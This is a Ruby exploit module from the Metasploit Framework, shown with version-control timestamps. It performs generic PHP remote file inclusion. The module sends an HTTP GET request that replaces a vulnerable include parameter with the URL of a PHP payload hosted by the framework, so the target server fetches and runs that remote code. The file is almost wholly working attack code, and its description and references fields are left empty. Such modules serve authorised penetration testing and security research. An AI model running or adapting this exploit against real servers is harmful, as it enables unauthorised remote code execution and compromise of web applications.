2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
# $Id:$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-12-17 07:57:51 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
2007-01-05 03:47:44 +00:00
|
|
|
class Exploits::Unix::Webapp::PHP_INCLUDE < Msf::Exploit::Remote
|
2006-12-17 07:57:51 +00:00
|
|
|
|
|
|
|
include Exploit::Remote::Tcp
|
|
|
|
include Exploit::Remote::HttpServer::PHPInclude
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'PHP Include Generic Exploit',
|
|
|
|
'Description' => %q{
|
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-12-17 07:57:51 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Space' => 32768,
|
|
|
|
},
|
|
|
|
'Platform' => 'php',
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
|
|
'DefaultTarget' => 0))
|
2006-12-17 08:02:35 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/test.php?path=!URL!"]),
|
|
|
|
], self.class)
|
2006-12-17 07:57:51 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def php_exploit
|
|
|
|
connect
|
2006-12-17 08:02:35 +00:00
|
|
|
req = "GET #{datastore['PHPURI'].gsub('!URL!', Rex::Text.uri_encode(php_include_url))} HTTP/1.0\r\n\r\n"
|
2006-12-17 07:57:51 +00:00
|
|
|
print_status("Sending: #{req}")
|
|
|
|
sock.put(req)
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|